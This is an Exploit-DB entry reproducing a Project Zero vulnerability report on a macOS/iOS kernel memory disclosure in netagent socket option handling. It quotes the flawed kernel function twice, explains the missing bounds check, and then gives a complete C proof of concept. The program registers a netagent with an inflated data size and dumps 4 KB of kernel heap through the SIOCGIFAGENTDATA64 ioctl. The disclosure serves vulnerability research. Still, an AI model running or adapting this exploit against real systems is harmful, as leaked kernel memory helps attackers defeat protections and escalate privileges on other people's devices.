Apple macOS/iOS Kernel - Memory Disclosure Due to Lack of Bounds Checking in netagent Socket Option Handling

EDB-ID:

42055

CVE:

N/A


Platform:

Multiple

Published:

2017-05-23

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1140

netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type
NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code:

  static errno_t
  netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload,
                  u_int32_t payload_length)
  {
    int data_size = 0;
    struct netagent_wrapper *new_wrapper = NULL;
    u_int32_t response_error = 0;
    struct netagent *register_netagent = (struct netagent *)(void *)payload;   <----------- (a)

    if (session == NULL) {
      NETAGENTLOG0(LOG_ERR, "Failed to find session");
      response_error = EINVAL;
      goto done;
    }

    if (payload == NULL) {
      NETAGENTLOG0(LOG_ERR, "No payload received");
      response_error = EINVAL;
      goto done;
    }

    if (session->wrapper != NULL) {
      NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
      response_error = EINVAL;
      goto done;
    }

    if (payload_length < sizeof(struct netagent)) {                              <----------- (b)
      NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)",
            payload_length, sizeof(struct netagent));
      response_error = EINVAL;
      goto done;
    }

    data_size = register_netagent->netagent_data_size;
    if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) {                      <----------- (c)
      NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
            data_size);
      response_error = EINVAL;
      goto done;
    }

    MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
    if (new_wrapper == NULL) {
      NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
      response_error = ENOMEM;
      goto done;
    }

    memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
    memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size);   <------------ (d)

    response_error = netagent_handle_register_inner(session, new_wrapper);
    if (response_error != 0) {
      FREE(new_wrapper, M_NETAGENT);
      goto done;
    }

    NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
    netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);

  done:
    return response_error;
  }


The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.

At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure.
Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of
data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain
data_size bytes of data though.

This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.

Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1
*/

// ianbeer
#if 0
iOS/MacOS kernel memory disclosure due to lack of bounds checking in netagent socket option handling

netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type
NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code:

	static errno_t
	netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload,
									u_int32_t payload_length)
	{
		int data_size = 0;
		struct netagent_wrapper *new_wrapper = NULL;
		u_int32_t response_error = 0;
		struct netagent *register_netagent = (struct netagent *)(void *)payload;   <----------- (a)

		if (session == NULL) {
			NETAGENTLOG0(LOG_ERR, "Failed to find session");
			response_error = EINVAL;
			goto done;
		}

		if (payload == NULL) {
			NETAGENTLOG0(LOG_ERR, "No payload received");
			response_error = EINVAL;
			goto done;
		}

		if (session->wrapper != NULL) {
			NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
			response_error = EINVAL;
			goto done;
		}

		if (payload_length < sizeof(struct netagent)) {                              <----------- (b)
			NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)",
						payload_length, sizeof(struct netagent));
			response_error = EINVAL;
			goto done;
		}

		data_size = register_netagent->netagent_data_size;
		if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) {                      <----------- (c)
			NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
						data_size);
			response_error = EINVAL;
			goto done;
		}

		MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
		if (new_wrapper == NULL) {
			NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
			response_error = ENOMEM;
			goto done;
		}

		memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
		memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size);   <------------ (d)

		response_error = netagent_handle_register_inner(session, new_wrapper);
		if (response_error != 0) {
			FREE(new_wrapper, M_NETAGENT);
			goto done;
		}

		NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
		netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);

	done:
		return response_error;
	}


The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.

At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure.
Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of
data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain
data_size bytes of data though.

This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.

Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1
#endif
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/kern_control.h>
#include <sys/sys_domain.h>
#include <net/if.h>
#include <netinet/in_var.h>
#include <netinet6/nd6.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int ctl_open(char* control_name) {
  int           sock;
  int           error     = 0;
  struct ctl_info     kernctl_info;
  struct sockaddr_ctl   kernctl_addr;

  sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
  if (sock < 0) {
    printf("failed to open a SYSPROTO_CONTROL socket: %s\n", strerror(errno));
    goto done;
  }

  memset(&kernctl_info, 0, sizeof(kernctl_info));
  strlcpy(kernctl_info.ctl_name, control_name, sizeof(kernctl_info.ctl_name));

  error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
  if (error) {
    printf("Failed to get the control info for control named \"%s\": %s\n", control_name, strerror(errno));
    goto done;
  }

  memset(&kernctl_addr, 0, sizeof(kernctl_addr));
  kernctl_addr.sc_len = sizeof(kernctl_addr);
  kernctl_addr.sc_family = AF_SYSTEM;
  kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
  kernctl_addr.sc_id = kernctl_info.ctl_id;
  kernctl_addr.sc_unit = 0;

  error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
  if (error) {
    printf("Failed to connect to the control socket: %s\n", strerror(errno));
    goto done;
  }

done:
  if (error && sock >= 0) {
    close(sock);
    sock = -1;
  }

  return sock;
}

#define NETAGENT_OPTION_TYPE_REGISTER 1
#define NETAGENT_DOMAINSIZE   32
#define NETAGENT_TYPESIZE   32
#define NETAGENT_DESCSIZE   128

struct netagent_req64 {
	uuid_t		netagent_uuid;
	char		netagent_domain[NETAGENT_DOMAINSIZE];
	char		netagent_type[NETAGENT_TYPESIZE];
	char		netagent_desc[NETAGENT_DESCSIZE];
	u_int32_t	netagent_flags;
	u_int32_t	netagent_data_size;
	uint64_t	netagent_data __attribute__((aligned(8)));
};

struct netagent {
	uuid_t		netagent_uuid;
	char		netagent_domain[NETAGENT_DOMAINSIZE];
	char		netagent_type[NETAGENT_TYPESIZE];
	char		netagent_desc[NETAGENT_DESCSIZE];
	u_int32_t	netagent_flags;
	u_int32_t	netagent_data_size;
	u_int8_t	netagent_data[0];
};

#define SIOCGIFAGENTDATA64    _IOWR('i', 168, struct netagent_req64)

int main(){
  int fd = ctl_open("com.apple.net.netagent");
  if (fd < 0) {
    printf("failed to get control socket :(\n");
    return 1;
  }
  printf("got a control socket! %d\n", fd);

  struct netagent na = {0};
  na.netagent_uuid[0] = 123;
  na.netagent_data_size = 4096;

  int err = setsockopt(fd,
                       SYSPROTO_CONTROL,
                       NETAGENT_OPTION_TYPE_REGISTER,
                       &na,
                       sizeof(na));
  if (err == -1) {
    perror("setsockopt failed");
    return 0;
  } else {
    printf("set the option!\n");
  }

  uint64_t* buf = malloc(4096);
  memset(buf, 0, 4096);

  struct netagent_req64 req = {0};
  req.netagent_uuid[0] = 123;
  req.netagent_data_size = 4096;
  req.netagent_data = (uint64_t)buf;


  err = ioctl(fd, SIOCGIFAGENTDATA64, &req);
  if (err == -1) {
    perror("get getinterface agent data failed");
  }else {
    printf("got something?\n");
    for (int i = 0; i < 4096/8; i++) {
      printf("%016llx\n", buf[i]);
    }
  }
  

  return 0;
}